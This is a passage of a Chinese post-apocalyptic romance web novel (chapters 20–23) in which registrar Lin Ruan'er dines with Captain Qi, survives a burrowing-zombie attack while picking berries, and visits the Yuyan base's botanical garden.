祁牧炎低头看着那根手腕粗的绿色藤蔓,上面长满了暗红色的刺,他没有立刻割断它,而是顺着藤蔓的方向看去。
藤蔓另一头竟然还缠着个人。
那男人穿着白大褂,手里提着一个袋子,正狼狈地试图掰开缠在腰上的花藤,他头发乱了,仍旧挣扎着想下来。
祁牧炎认出了那个人。
苏水鹤看到了他,问:“祁队长,能不能帮个忙?”
祁牧炎没说话,他用匕首直接就划断了缠在自己脚踝上的藤蔓,然后站在原地,看着苏水鹤继续和那植物搏斗。
“祁队长?”苏水鹤又叫了一声。
祁牧炎终于开口,语气平淡:“以苏博士的能力,对付一株变异植物,应该有自己的办法吧。”
苏水鹤皱起眉:“我研究的是基因,不是植物学。”
“哦。”祁牧炎点了点头,却仍然没有要帮忙的意思。
苏水鹤叹了口气,放弃似的停止了抽开身体,那些花藤反而松了些,但还是缠着他,没有要放开的意思。
“苏博士,你手里拿的什么?我好奇而已。”祁牧炎问。
苏水鹤:“让我回答总该把我先放下去吧。”
“补养品吧,给林阮儿的。”
苏水鹤没说话,算是默认了。
“上回的基因检测结果出来了,她没有异能潜质,只是我顺便带点东西给她,算是对测试结果的安慰。行了,祁队长,你可得说话算数啊。”
林阮儿手腕上的警报器响起来时,她正在登记今天新到的罐头数量。
感应器上显示的是院子西北角的生命体征异常,是有两个人,其中一个的心跳速率极不稳定。
她快步走出了登记房。
后续,她确实把玫瑰异植种在了院内,因为后续它的增长速度很快,必须需要更大的空间,她跑到警报显示的位置。
然后她就看见了有些奇怪的画面,祁牧炎握着匕首站在那儿,苏水鹤被花藤缠着悬在半空,手里还晃荡着一个精美礼品袋。
“你们在干什么?”林阮儿问。
祁牧炎立刻转身:“林阮儿。”
苏水鹤也转过了头。
林阮儿走到花藤旁边,伸手碰了碰藤蔓,那些原本紧紧缠绕的植物突然松开了,林阮儿准备弯腰前去扶他,祁牧炎的动作比她快一步。他几乎是冲过来的,一把抓住了苏水鹤的胳膊把人拽了起来,同时隔开了林阮儿伸出的手。
祁牧炎眼睛看着林阮儿,说:“苏博士,应该自己能起来的。”
苏水鹤拍了拍白大褂上的浮土,声音带着几分怒意:“那真的就谢谢祁队长了。”
“不客气。”祁牧炎嘴上这么说,手却已经放开了苏水鹤,突然的放手搞得他一下子有些趔趄,最后才稳着步子没摔。
他继续,“晚上我那边有火锅,专门批下来的食材,要不要一起来?”
林阮儿:“现在?”
“对,庆祝北区的清剿任务完成,有冻肉,有蔬菜,新鲜水果,要来吗?”
林阮儿犹豫了一下。
结果苏水鹤朝他走来。
把袋子直接递给她:“里面一些营养补充剂,我想你应该需要。”
林阮儿接过袋子看了看,里面装着几盒写着外文的药瓶,还有一些真空包装的蛋白粉之类的东西。
在末世里,这些都是贵重物资了。
林阮儿表示了感谢,说:“谢谢,但我上次的营养剂就还没吃完,还是不需要了,苏博士的好意我心领了。”
苏水鹤:“可……”
祁牧炎:“抱歉,我想阮儿说得已经很清楚了。”
苏水鹤这下想说什么,忽然不知该怎么开口了。
“那好,如果你吃完了上回的,我再给你送来。”
林阮儿继续和祁牧炎说话,她的意思:“可我今天晚上这边还有工作,新到的物资要今晚登记完。”
“我可以等。”祁牧炎立刻说。
“可能要很晚。”
“多晚都行。”
既然这样,林阮儿也不好再驳回什么,只好点头,说:“那祁队长,你能等我一会儿么?我把手头的要紧工作处理一下,大概十分钟。”
“好,我在这儿等你。”
祁牧炎:“阮儿的时间被我临时占用了,苏博士。”
苏水鹤知道他这是在撵人走了。
“我不会在这边多待。”
东西没送出去没关系,没能和林阮儿说上几句话,也没事,但
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他刚才的话,一口一个阮儿叫得那么亲呢,真叫他受不了。
苏水鹤看了一眼祁牧炎,转身走了。
林阮儿回到登记房就开始整理相关资料,十分钟内肯定可以弄完,但不能很晚回来,回来还有继续完成工作,不过确实,火锅她是想吃的,既然晚上吃火锅,那怎么说,她还是要去的。
祁牧炎的军帐离后勤部有点远,要走二十分钟,路上碰到了好几拨人,有士兵,有后勤人员,还有几个穿着白大褂的研究员,每个人看见祁牧炎都会停下来敬礼或点头,然后目光会在林阮儿身上停留几秒,再收回了眼神。
祁牧炎掀开军帐的门帘:“到了,进来吧。”
帐篷里很暖和,中间摆着个简易炉子,上面架着口锅,红油汤底正咕嘟咕嘟地冒泡,桌子旁已经坐了四五个人,都是祁牧炎小队的手下骨干。
楚猛第一个站起来:“林小姐!快坐快坐,我们就等你了。”
其他人也纷纷和她打招呼,林阮儿自然都认识他们。
她找了个空位坐下,祁牧炎坐在她旁边,很自然地给她夹了片刚涮好的牛肉。
“尝尝,这是今天批下来的冻肉。”
林阮儿咬了一口,肉质虽然还是有点柴,但在这里已经是非常难得的美味。
祁牧炎:“怎么样?好吃么?”
“好吃。”她说。
帐篷里瞬间热闹了起来,大家开始喝酒聊天,说这次清剿任务的趣事,说前哨站里的一些八卦,林阮儿也不插.话,只是在旁边安静地听着,然后偶尔才会接几句话。
之后,她忽然感觉到帐篷外面有人。
就站在距离她不远的位置上,她抬起头,仔细地看向门帘的方向。
那个男人在外边停留半刻,才缓缓走开了,应该是有人有事要找祁队长,看他现在不方便,才先离开了吧。
林阮儿想。
哇!火锅里面居然还有冷冻丸子,她得有多久没吃过丸子了啊,除了一些鸡肉丸、牛肉丸,还有一些素丸子,祁牧炎说今天可以敞开了吃,不用担心吃不饱,林阮儿点头,用筷子夹了一些到自己碗里。
有位士兵准备坐在林阮儿身旁,被祁牧炎的目光瞪了回去,只好讪讪地坐到其他地方,即便如此,大家全部落座之后,在各个方向的目光仍旧小心地打量她。
老六楚猛提醒他们,收着点,别在这地方见到女人,就一个劲儿的盯着人家不放,吓着人家怎么办,真像是没见过女人一般,但楚猛碍于祁队,也是没跟林阮儿说上几句话,心里却有点不是很舒服。
二十分钟后,林阮儿吃好了,嘴里还残留着一股麻辣鲜香的味道,蔬菜的味道也好,还搭配着蘸料,让她欲罢不能啊。
之后,祁牧炎送她出来,天色有点暗,外边只有零星的路灯柱,昏黄的光映在他脸上,林阮儿说不用让他送,祁牧炎还是坚持。
“忘了上回的事了?我必须送你安全回去,才放心。”
祁牧炎送她回到后勤部登记房后,林阮儿准备关门时,发现背后有个黑影。
她转身。
身后人的这张脸她自然很是熟悉,是代钏。
代钏看她有点讶异的样子,问:“怎么?见到我很意外?”
“嗯。”林阮儿点头。
“那林登记员,该不会是做了什么亏心事了阿,看到我居然会吓一跳。”
20. 第 20 章
三天前,上面下了新通知,由于前哨站西侧的屏障完成升级,周边五公里内丧尸活动频率下降了百分之七十二,物资运输路线调整,日常登记项目简化了三分之一,只需要在每日汇总各小队提交的简报。
前哨站内部的活动场上,几个士兵正在做日常训练,林阮儿时不时就站到这边不远处朝里看。
“看什么呢?”声音从侧面传来。
林阮儿转头,看见尹宿正朝她走来。
尹宿今天没穿全套作战服,只套了件深灰色的战术背心,手臂上的肌肉线条分外清晰。
尹宿:“林登记员在发呆啊。”
林阮儿:“可能是我看得时候入神了吧。”
尹宿声音冷了冷:“谁让林登记员看得出神了?”
“没有,我是对着景物发呆。”
尹宿说他听说了那件事,后勤部登记的活儿确实少了,空闲时间就会多出来。
尹宿:“在登记房待久了,都待发霉了?”
“有点。”
尹宿走到她身边,凑近道:“闷的话,要不要一会儿和我一起去采摘前哨西侧的野莓,那玩意儿这时间已经熟了。”
采摘野莓,说实话,林阮儿有些心动。
尹宿弯下腰,特意让自己的实现和她平齐,继续:“昨天医疗队的小梁说她们上周去采了一些,很甜,比人工培育的好吃多了,那地方算是前哨站外最安全的地带了,围栏是双重设计,外层带电,内层有感应网,就算真有丧尸到附近,也会立刻被设备标记、锁定,而且,有我在。”
林阮儿点头:“好。”
他说着,侧头看向林阮儿:“不过按规矩,任何非任务外出都需要申情,林登记员实在想去的话,得等我报告一下,再等上面批。”
“需要多久呢”林阮儿问。
尹宿笑了:“半个小时不到吧。”
之后,她回到登记房间整理了下,然后看向靠近窗户的窗台上,那里有个玻璃里,两条小鱼正慢悠悠地在水里转着圈。
林阮儿用指尖轻轻点了点缸壁,其中一条小鱼它摆了摆尾巴,游过来隔着玻璃碰了碰她的手指,那是一条蓝斗鱼,鳞片透过玻璃,泛着奇异的金属蓝紫色,背鳍像半透明的纱,尾鳍则像展开的孔雀尾羽红红蓝相间,还带着细细的金色边缘,另一条是银色的,身上有淡黄色的斑点,体型稍小些,总是跟着蓝斗鱼游动。
这两条鱼是代钏上次来的时候给她送来的,他说最近检测到一批变异系数稳定在安全阈值内的观赏动物,通常,鱼和乌龟在这个范围内,问她的意见,之后就给她带来了一条篮斗鱼和一条银斗鱼,还有一小袋特制饲料。
林阮儿很是喜欢它们,对代钏很感激,代钏走时,问她如果真的感谢自己,打算用什么方式回馈他,林阮儿沉默了,她不清楚自己能给到他什么,就是现在,还在苦恼之中。
代钏:“放心,它们都是经过了三重检测,不会半夜再变成怪物咬你。”
看她还有点心有余悸的样子,还真有点可爱啊。
林阮儿收整好了之后,等允许外出批示下来,看到的审批意见是她可以在B-7区围栏内进行采摘活动,限时两小时,时间规定:下午14:00-16:00。
林阮儿提前到了B-7,旁边尹宿的手下士兵看到她,说:“尹队……”
尹宿原本靠在围栏前,直起身,朝着林阮儿走去。
在他肩上挎着步枪,腰侧挂着手枪和匕首。
这是常见的装备,尹宿走近她,递给她一件轻便的防刺背心:“把这件背心穿上,以防万一。”
林阮儿套上了背心,料子有点硬,但不算重。
“走吧。”尹宿刷了身份卡,厚重的金属门缓缓滑开。
走出前哨站的瞬间,林阮儿忍不住深深吸了口气,外面林子潮湿的味道扑面而来,这和在前哨站,通风系统过滤后的空气完全不同。
她抬起头,看见阳光从层层树叶的缝隙里漏下来,形成一道道晃眼的光柱。
“跟紧我。”尹宿走在前面,步伐稳健,他显然对这条路很熟悉,轻松绕过盘结的树根和低垂的藤蔓。
围栏出现在视野里时,那是一道金属与电流构成的墙,外层是三米高的带刺电网,内层是细密的感应网,网上挂着小小的红色指示灯,围栏每隔一段就有一座监视塔,塔上隐约能看见巡逻兵的身影。
“B-7区就在前面。”尹宿指了个方向。
尹宿、林阮儿和四位士兵们就沿着围栏内侧的小路走了大概十分钟,一片灌木丛出现在眼前。
深绿色的叶子间,点缀着一簇簇鲜红的果实,那些野莓比林阮儿想象的要大,每一颗都有拇指指甲盖大小,红得发亮,表面还挂着细小的水珠。
尹宿:“这些就是野莓,不过摘得时候要小心些,旁边的叶子有刺。”
林阮儿点点头,尹宿却还有些不放心,把自己的手套递给她。
“我不想你这么细嫩的手受伤了。”
林阮儿套上黑色的手套,手套外面是特质材料制成的,套上自己的手指后,还留有男人指尖的隐约温度,就是有点大了,五指没能完全把手套给撑开。
野莓外面有层硬壳,硬壳剥开其实就能吃了。
尹宿给她剥了一个,林阮儿接过,把里面的可以直接吃的就放进嘴里。甜味在舌尖炸开,带着一点点酸,还有浓郁的果香。
可真好吃啊。
看林阮儿蹲下身体,尹宿没蹲下,而是站在她身后两米左右的位置,目光随时扫视着周围的树丛和围栏外的情况。
他的手一直放在腰间,姿态放松却警觉。
林阮儿拿着两个可以折叠的小篮子,开始采摘。
莓果很容易掉,她得用指尖轻轻捏住它的果柄,再稍稍一转,很快就被她摘了下来。
林阮儿抬头,发现尹宿不知何时已经走到她身边,距离很近,连呼吸都能感受得到。
林阮儿:“尹队长,你要尝尝么?”
他说自己的手被叶子的刺刮到了,于是就方便就着她的手吃掉了那颗莓果,他的嘴唇碰到了她的指尖,很轻,但触感却十分清晰。
“甜。”他说话时,看着她的眼睛。
林阮儿低下头继续摘果子:“之前,尹队长有吃过野莓吗?”
“吃过,在我老家山上就有,夏天的时候,我和我弟常去摘。”尹宿也伸手摘了几颗,但他摘得很笨拙,弄破了两颗,“不过没这个甜。”
“你还有弟弟?”
“曾经有。”尹宿的声音非常平静。
林阮儿已经知道他的意思,话音顿了顿道:“对不起。”
尹宿站起身,重新回到警戒位置,“没什么,都是过去的事了。”
之后,林阮儿加快了采摘速度,就是在采摘的时候,不小心摘掉了两颗很大的莓果,它们就掉落在围栏外不远处的地面。
稍微一伸胳膊其实就能够得到,林阮儿的胳膊细,她稍微从地下的围栏探了出去,就快拿到了,只差一点点,不然这野莓就这样掉了,多浪费啊。
她非常专心,根本没注意到在外面地面,忽然有什么东西正在缓慢地移动着。
一颗、还剩一颗,就在她的手指即将碰到另一颗莓果的瞬间,地面的泥土就忽然裂开,一只灰白的手猛地伸出,直抓她的手腕!
林阮儿尖叫一声往后跌去,那只手的主人大半个身子还埋在土里,但腐烂的脸已经露了出来,那是只潜地丧尸,它们有时会在松软的土壤下潜伏,等待猎物靠近。
它张着嘴,黑色的牙齿间滴下粘稠的液体,手臂以不正常的角度伸长,指甲几乎要刮到她的皮肤。
尹宿掏枪,但另一声枪响先一步炸开。
“砰!”
丧尸的头颅应声爆开,腐肉和黑色的血液溅在地上,然后那只手抽搐了两下,不再动了。
林阮儿瘫坐在地上,剧烈地喘着气,几秒后,她才意识到发生了什么,转头看向枪声来的方向。
围栏外三十米左右的树丛里,走出来一队人。
五人都穿着统一的浅蓝色作战服,为首的是个高个子男人,手里还举着把装有消音器的狙击步枪。
他朝林阮儿走来,脚步不紧不慢。
尹宿和四位士兵都已经冲出围栏小门,枪口指向那队人:“站住!”
高个子男人停下脚步,举起空着的左手:“放松,兄弟,我们是雨燕基地巡逻队的,刚好在附近执行侦察任务。”
尹宿没放下枪,但手指离开了扳机:“雨燕基地?”
男人点头,然后他的目光转向已经被尹宿扶起来的林阮儿,温声问:“你还好吗?”
林阮儿这才回过神,说:“我没事,谢谢你。”
“不客气。”男人走近了些。
现在林阮儿看清他的样子。
面前这
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个男人的头发是浑然的白色,有点长,在脑后扎成一个小髻,几缕碎发落在额前。
眼睛是浅褐色的,在树荫下看起来像琥珀的颜色一样,他的浅蓝色作战服剪裁合身,衬得肩膀很宽,腰线收得利落。
腰侧挂的不是手枪,而是一把长猎刀,刀柄上缠着红色的皮绳。
男人的整体感觉十分松弛,像是天生就属于这片雨林。
那个男人继续道:“潜地丧尸最近在这一带活动变频繁了,不过你的运气还算不错,它还没完全钻出来。”
“我没注意到。”林阮儿现在的声音还有点抖。
男人收起枪,背到身后:“它们埋在土里时,生命体征很弱,连感应器都容易漏掉,下次别一个人出来,就算在围栏附近也一样。”
“她有陪同。”尹宿站到林阮儿身侧,语气里的戒备没完全消退。
“你还没有介绍自己。”
“前哨站第七小队队长尹宿。”
“柯夜。”男人伸出手,尹宿犹豫了一秒,和对方握了手。
“刚才真的是多谢了。”林阮儿说。
“这位漂亮的小姐,还好你躲得及时,不过我看得很清楚,就算我没开枪,你也能躲过那一抓,谁让你旁边有位护花使者呢,只是可能会被吓得不轻。”
“你们基地离这里多远?”尹宿问。
“东南方向,大概八公里。”柯夜说。
他身后的四名士兵始终保持警戒姿态,但没人插话。
对面的士兵,他们的浅蓝色作战服看起来很轻便,每个人背上都背着不小的行囊,看起来是能在野外长期活动的配置。
尹宿:“你那一枪很准,位置远,八百米?”
柯夜点点头:“差不多,用的是特制□□,对付潜地丧尸,但得确保一击毁掉脑干。”
柯夜忽然又看向了林阮儿,说道:“我们基地有种自制的安神茶,用雨林里的几种草药调的,效果不错,要是需要的话,可以送你一些。”
尹宿替她回答:“不用了,谢谢,我们前哨站有医疗队。”
柯夜也不坚持,只是又笑了笑:“那行,不过以后要是想来采野莓,最好挑中午,这时候潜地丧尸活动最少,靠西边的果实更多,阳光更足。”
他说话时,目光总是很认真地落在对话对象脸上,林阮儿注意到他的瞳孔在光线变化时居然会微微收缩,像猫科动物。
尹宿看了眼手表,说:“时间不早了,我们该回去了,你们的协助我会在报告中说明。”
“小事。”柯夜摆摆手,然后盯着林阮儿看了一阵,才敛回了眼神。
之后,他转身打了个手势,那四名士兵便跟随着他,消失在了远处的树丛。
回到前哨站,尹宿忽然开口问她:“他跟你说了什么?”
“嗯?”
“柯夜,你们中途有小声说了几句话,我没听清。”
林阮儿想了想:“他就说了有关安神茶的事。”
“就这些?”
“嗯。”林阮儿点头。
尹宿停下脚步,转身看她:“雨燕基地的人很少出现在我们这一侧,他们主要在东南一带活动,而且行事风格比较独立,下次如果再遇到他们,保持距离。”
“你觉得他们有危险?”
两人一起并肩走着,尹宿说:“不一定是危险,但也不一定是朋友。”
之后分给她的一部分野莓,林阮儿直接去了食堂后面的小水池,她把野莓倒进了滤篮里,然后打开水龙头仔细冲洗。
她洗得很专注,没注意到尹宿靠在门框上看了她很久。
林阮儿把莓果装进不锈钢碗里,转身看见尹宿,吓了一跳。
尹宿:“林登记员,我不是什么豺狼虎豹,不用怕我。”
林阮儿:“只是不知道你什么时候来的,有点突然。”
“刚来。”
林阮儿:“有事?”
“晚上七点,战术室有简报会,关于今天的事,可能需要你做个简单的陈述,没问题吧?”
“没有问题。”
林阮儿后续回到自己登记房,在桌前坐下了,两条小鱼还在缸里游着,蓝色的那条吐了个小泡泡。
林阮儿忽然记起来自己之前到指挥部三楼沈舵的办公室里,有一张地图,地图的东南方向,有片区域标记为了“未勘探区”,所以柯夜他所说的基地位置,甚至不在官方地图上。
21. 第 21 章
一周后的傍晚,林阮儿正在核对本周的弹药消耗清单,登记房的门被敲响了。
“请进。”
推门进来的是个陌生面孔,男人看起来二十出头,穿着浅蓝色的制服,他手里拿着个扁平的信封,材质是末世后少见的米白色再生纸。
“林阮儿小姐吧?”男人的声音很温和,道。
“我是,你是……”
“雨燕基地联络员,凌序,我们基地长让我给您送点东西。”
林阮儿点了点头,对他说:“请坐。”
凌序在她对面的椅子坐下,将信封轻轻放在桌上:“不是什么危险物品,只是几张植物标本,还有一份邀请。”
“邀请?”
凌序说话时双手交叠放在膝上,姿态很放松:“我们基地有个小型植物园,培育了一些可食用和药用的变异植物,上周柯夜队长回去后,提到您对野莓很有兴趣,基地长觉得,也许您会对我们的植物园也有些兴趣,所以想邀请您过去参观一下,当然,是在双方安全协议允许的前提下。”
林阮儿没有立刻去碰那个信封,她打量着凌序。
男人虽然看着年轻,但周身自带一种成熟感,金属细边的眼镜框,看着她,目光十分平和。
林阮儿还观察到,他的手指修长,指甲修剪得很整齐,左手无名指上戴着一枚简单的银戒。
“为什么邀请我?我只是这里的一名登记员而已。”
“现有的分类方法太混乱了,基地长听说前哨站的后勤登记是全区域最规范的,所以想请教一下经验,作为交换,您可以随意参观植物园,还可以带走一些种子或幼苗。”
她拿起了信封,打开封口,里面滑出三样东西,三张压塑好的植物标本,一张手绘地图,还有一封短信。
标本保存得很好,一片深绿色锯齿叶,标签写安神茶,一簇淡紫色小花,是助眠薄荷,还有一枚晒干的红色莓果,正是她那天采的那种,标签标注着可食用的雨林红莓,维生素含量提升27%”。
手绘的地图很精致,雨燕基地的轮廓用深蓝色墨水勾勒,几个主要区域标注清晰,生活区、种植园、研发中心、训练场。
植物园在基地西北角。
短信则是手写的,字迹整洁有力:
“林阮儿小姐:
听闻您对植物有兴趣,雨燕基地植物园现有四百多种可以安全利用的变异植物,欢迎前来参观交流,若您愿意指导我们的登记分类工作,将不胜感激,时间可由您方便时定,雨燕基地长时清禾,另,柯夜队长托我转达,安神茶已备好,随时可来尝。”
林阮儿读完,她抬起了头,凌序正安静地等着,没有催促的意思。
“我需要考虑一下,而且就算我去,也需要前哨站的批准。”
凌序站起身,道:“林小姐不用立刻决定,这周内给我答复就好。我的临时联络处在前哨站南门的外交接待室,每天上午十点到下午四点我都在。”
他走后,门轻轻关上了。
最终给了林阮儿批复,上面同意了,但是必须访问时间不超过四十八小时,必须有一人全程陪同。
而且,只允许在植物园和指定生活区活动,不能进入研发中心和其他区域。
林阮儿接受消息,就迅速浏览文件。
陪同人员那栏,前哨站这边填的是沈舵的名字。
毕竟,这里最了解雨燕基地的人就是沈指挥官,有天晚上林阮儿在食堂吃饭时,医疗队的护士小鹤凑过来坐在她旁边:“林登记员,听说你要去雨燕基地?他们那儿是不是真有传说中会发光的蘑菇?”
“我不知道,我只是去看植物园。”
“帮我带点种子回来好不好?我们药房缺好几种草药,人工培育的总是不对劲,说不定野生的变异种更好用。”
“我也很想帮你,但如果允许的话。”
旁边桌的几个士兵也在讨论这事,林阮儿听见了几句:
“雨燕那帮人挺野的。”
“他们实力可不弱,有那资本,上次联合清剿,他们一个队干掉的丧尸比我们两个队还多……”
“听说他们基地长是个怪人,手下全是精英队,领头最牛的那位是叫什么来着,什么什么夜。”
他们说的那人是柯夜吗?林阮儿低头吃饭,她想起了自己鱼缸里那两条鱼,如果去两天,得找代钏帮忙喂食了。
周四晚上,林阮儿在收拾好了行李。
换洗的衣物全部整理好,这时候,敲门声响起。
沈舵就站在门外,问她:“准备得怎么样?”
“差不多了。”
沈舵扫了一眼她手里的东西,基本就一个背包,跟她说可以走了。
林阮儿跟他出门,沈舵一路上没有怎么发言,似乎对这次的事没有十分有精力,半晌,才开口:“那边是刚开发过的河心岛,但四周还没有开发的地方很多,危险程度要比待在前哨站大得多,说实话,他们邀请你去,并不知道打得什么主意。”
林阮儿:“他们有说目的。”
沈舵沉默了会儿,道:“他们雨燕基地的人很擅长野外生存,但他们的方式有时候在我们看来太冒险,我会全程陪着你。”
林阮儿点点头。
“他们没有什么基本规矩,就算个人再厉害,没有团队型作战,也很难最终胜利,但我不得不承认的一点,精兵强队,一定不会差。”
林阮儿:“好的,沈指挥官,那我放心跟着你就好。”
沈舵这时候才露出了些许笑容,他对待这次的事十分谨慎,雨燕基地的人向来都是神出鬼没的,基本不会和雨林里的任何基地或者外来人员接触,这次只是见了林阮儿一面,却这样大张旗鼓,着实让他生疑。
不得不防。
之后,沈舵看了眼手表,轻声对她说:“早点睡吧,明天六点出发,得赶在中午前到,雨季快来了,下午容易有暴雨。”
第二天清晨五点五十,林阮儿背着包走到西门时,沈指挥官他已经在那儿了。他今天穿了全套作战服,凌序也在。
“早安啊,林小姐。”凌序冲她淡淡地微笑。
继续说,“车已经准备好了,我们可以直接开到屏障边缘,然后步行进入雨燕的巡逻区,那边有车接应。”
“要走多远?”林阮儿问。
凌序说:“三公里,都是清理过的安全路线,柯夜队长会带人在半路接应。”
之后,三人就上了一辆
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已经加固过的越野车。
凌序开车,沈舵坐在副驾驶,林阮儿坐后排。
车开出前哨站大门时,林阮儿回头看了一眼,前哨站围栏上的灯光还在闪烁。
车子渐渐地驶入雨林,路比想象中平整,显然经常维护。
凌序开车很稳,速度不快不慢,车载电台里会偶尔响起模糊的通讯声,用的是林阮儿听不懂的编码。
“你们和基地联系用的什么频率?”沈舵忽然问。
凌序:“专用加密频段,每次任务都会更换密钥,而且,雨林里的信号干扰很严重,普通频段没法用。”
“你们很谨慎。”
凌序打了把方向,避开路上一个深坑,“我们基地规模小,经不起意外。”
开了大约四十分钟,车停了,前面是一道简易关卡,两个穿着浅蓝色作战服的士兵站在那里。
凌序下车和他们说了几句,士兵检查了车辆和他们的证件,然后抬起了路障。
凌序:“车只能开到这里,前面是缓冲区,不允许任何车辆进入,这是我们基地的规定。”
林阮儿下了车,河心岛的空气比前哨站那边更潮湿,路变窄了,成了一条勉强能容两人并行的小径。
凌序走在前面,林阮儿在中间,沈舵在林阮儿身后,护着她。
走了大概二十分钟,林阮儿的额头就开始出汗,不是累的,是热的。
她简直热坏了,这里的树冠更密,阳光几乎透不下来,湿气像一层看不见的膜裹在身上。
忽然,沈舵停下了脚步。
凌序也停下了:“怎么了?”
“十点钟方向,有动静。”
树丛里传来了一阵奇异的响声,林阮儿屏住呼吸,然后,柯夜从林间走了出来。
他还是那身浅蓝色作战服,今天没背狙击枪,只腰间挂了把手枪和猎刀。
头发还是松松地扎着,额前几缕被汗打湿了,看到他们,他笑了笑:“挺准时。”
“柯夜队长。”凌序微微向他点头。
柯夜的目光扫过三人,在林阮儿脸上停留了一瞬:“走得还习惯吗?这段路会有点闷。”
“还好。”林阮儿说。
“再走十五分钟就到接应点了。”柯夜自然地走到了林阮儿身侧,和沈舵一左一右站定。
沈舵和他握手:“你好,我是前哨站的沈舵。”
“哦,沈指挥官,我听说过你。”
他说完,柯夜看向了林阮儿,道:“放心,刚才那边的声音是只树猴子,你完全不用紧张。”
接下来的路,柯夜偶尔会指些东西给林阮儿看:“那是萤藤,晚上会发出淡绿色的光,那边那片叶子特别大的,是储水芭蕉,叶茎里能收集到干净的饮用水。”
沈舵一直默默地走在另一边,但林阮儿注意到,他的视线始终在扫视周围的树丛和地面。
接应点是一小片空地,停着两辆改装过的轻型越野车,开车的是两个年轻士兵,见到柯夜立刻敬礼。
“上车吧。”柯夜拉开第一辆车的后门,对他们说:“坐这辆,凌序,麻烦你和沈指挥官坐后面那辆。”
沈舵:“不妥吧,我要确保林小姐在我的视线内。”
22. 第 22 章
柯夜沉吟片刻:“可以。”
随后,两辆车子在雨林中穿行,路况比之前更差,颠簸得厉害,坐定在驾驶位上的沈舵会跟副驾上的林阮儿说话:“晕车吗?”
“不晕。”
“那就好,这段路是最颠的,应该过了前面那条溪就好多了。”
二十分钟后,雨燕基地抵达。
柯夜给他们三人分别递来了水壶,对拧开水壶盖子的林阮儿说:“喝点水?我们自己蒸馏的,比净化水好喝。”
林阮儿接过,喝了一口,确实很不一样,后味会带点淡淡的甜味。
“你们基地的水源是溪水么?”她问。
“有两条地下泉眼,还有雨水收集系统。”
车继续向前开了大概二十分钟,林阮儿忽然看到前方出现了建筑。
建筑是在一座岛上。
不是前哨站那种金属结构的堡垒,而是木屋。
它们依着地势散布在林间空地上,屋顶铺着深色的防水材料,有些上面还爬着藤蔓植物。
围栏也是木制的,上面缠绕着带刺的铁丝网,但每隔一段就有一丛开花的攀援物。
“到了。”柯夜说。
车在入口处停下,大门是厚重的木制结构,上面用金属镶嵌出一个标志,就是雨燕。
在这边驻扎的守卫检查了证件,尤其是林阮儿和沈舵的访客通行证。流程比前哨站简洁,但每个步骤都很认真。
柯夜引着他们往里面走:“这边请,时先生就在植物园等你们,我先带你们去住的地方放行李。”
生活区比林阮儿想象中宽敞,木屋之间留有足够的间距,有些屋前有小片菜圃,种着番茄、辣椒和一些她认不出的绿叶菜。
路上遇到的人穿着的都是统一的蓝色制服,他们看见柯夜会点头打招呼,对林阮儿和沈舵投来些许好奇的目光。
住宿区是几栋连排的木屋,柯夜推开其中一间的门:“林小姐就住这间,房间简单,但该有的都有,热水每天下午五点至七点供应,餐点在中央食堂,时间表贴在门后。”
林阮儿似乎又想问些什么,对方说:“哦,和你同行的沈指挥官,他就在你隔壁房间。”
之后,她走进房间。
屋子不大,但收拾得很干净,一张木床,一张桌子,一把椅子,还有个小小的储物柜,窗户开着,外面正对着一丛开紫花的灌木。
柯夜:“植物园就在那后面,一会儿,林小姐就可以收拾一下,半小时后我来接你们去见时先生。”
他嘴里说的时先生应该就是时清禾了。
他离开后,沈舵走了进来,迅速检查了一遍房间的各个角落,特别是窗户和门锁。
“基本安全,但晚上还是要把门窗锁好,前哨站的外围是三道电网,二十四个监控塔,每天三班巡逻。”
林阮儿:“嗯,知道了。”
“林阮儿。”
半晌,沈舵没有说话,只是定定地看着她的头顶,下移到她的眼睛和嘴唇上。
“嗯?”
他偏过头,喉结轻滚,道:“没事了,不要在这边乱走动,早点休息。”
“好。”
今天天气尤其热,林阮儿流了很多汗,汗液顺着额头滴在下巴处,有缓缓地滑落到了脖颈间。
沈舵转过身,准备走时说:“把身上的汗擦擦。”
林阮儿都没发觉,听到了才应了一声,下午时,林阮儿、沈舵和柯夜一起要到植物园区,去见基地长。
植物园里,所有的室内区域,都用了透明的材料覆盖着弧形骨架,里面层层叠叠全是植物。
在最里面的一个花棚里,他们见到了时清禾。
他正背对他们,蹲在一排幼苗前,手里拿着个小喷壶,听到脚步声,他站起身转过来。
他人很瘦,大约五十多岁,脸上有细纹,他的手上沾着些泥土。
“欢迎。”
他走过来,很自然地伸出手,林阮儿注意到他的手上有细小的伤痕和老茧,但指甲却很干净。
“谢谢您的邀请。”林阮儿和他握手。
“林小姐,你愿意来指导我们的登记工作,再好不锅,我们的系统一直很混乱,自己人用着还行,但一旦要跟其他基地交换数据,就一团糟。”
他引着他们往温室深处走,边走边介绍
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两旁的植物:“这是改良甘薯,产量比普通品种高百分之四十,那是药用金盏花,对外伤愈合有帮助。这边这些是试验品种,还在观察期。”
林阮儿听完就点点头,而沈舵则一直走在她后面。
走到花棚尽头时,时清禾在一丛开白色小花的植物前停下:“这就是甜雾茶,柯夜说要给你的安神茶就是用这个做的。”
他摘了几片叶子,递给林阮儿:“闻闻看。”
叶子有股清甜的香气,有点像薄荷,但味道会更加柔和一些。
“过一会儿,我可以试试你们的登记系统吗?”林阮儿问。
时清禾:“自然,那这边请,办公室在隔壁。”
办公室是个小木屋,里面堆满了文件、标本和各种各样的植物样本。桌上摆着台老式电脑,旁边是个手摇式发电机。
“电力有限,所以纸质记录还是主要的。”
林阮儿坐下来,开始翻阅那些记录册,这里的记录信息确实比较乱,比如同一种植物可能有三个不同的名字,生长记录和用途记录分开,交换记录又放在另一个本子里。
“我需要一些时间整理。”她说。
时清禾说:“嗯,慢慢来,柯队长会在外面等,有什么需要的话,就跟他说。”
随后,他看了眼沈舵:“沈指挥,你要不要去训练场看看?我们有些新的防御设施,也许可以交流一下。”
沈舵看向了林阮儿,稍后说:“我没问题。”
下午四点左右,她整理完了第一部分的记录,站起身活动肩膀时,柯夜就敲门进来。
“进度怎么样?”他问。
“比想象中复杂,但还能应付,柯队长,你们这里的植物种类真的很多。”
“是时先生花了七年时间收集的,有些是雨林里的变异种,还有些是他自己杂交后培育的。”
“哦。”
他转过身,靠在房间的窗台上:“那你喜欢这里吗?”
林阮儿想了想,说:“在植物园么?”
“算是吧。”
“就感觉这里很有生命力。”
柯夜勾起唇角在笑,抱臂看她。
23. 第 23 章
林阮儿她到这里的基本工作已经完成大半,还喝了安神茶,果然喝完了茶,她昨天的睡眠很好,心绪也好得多。
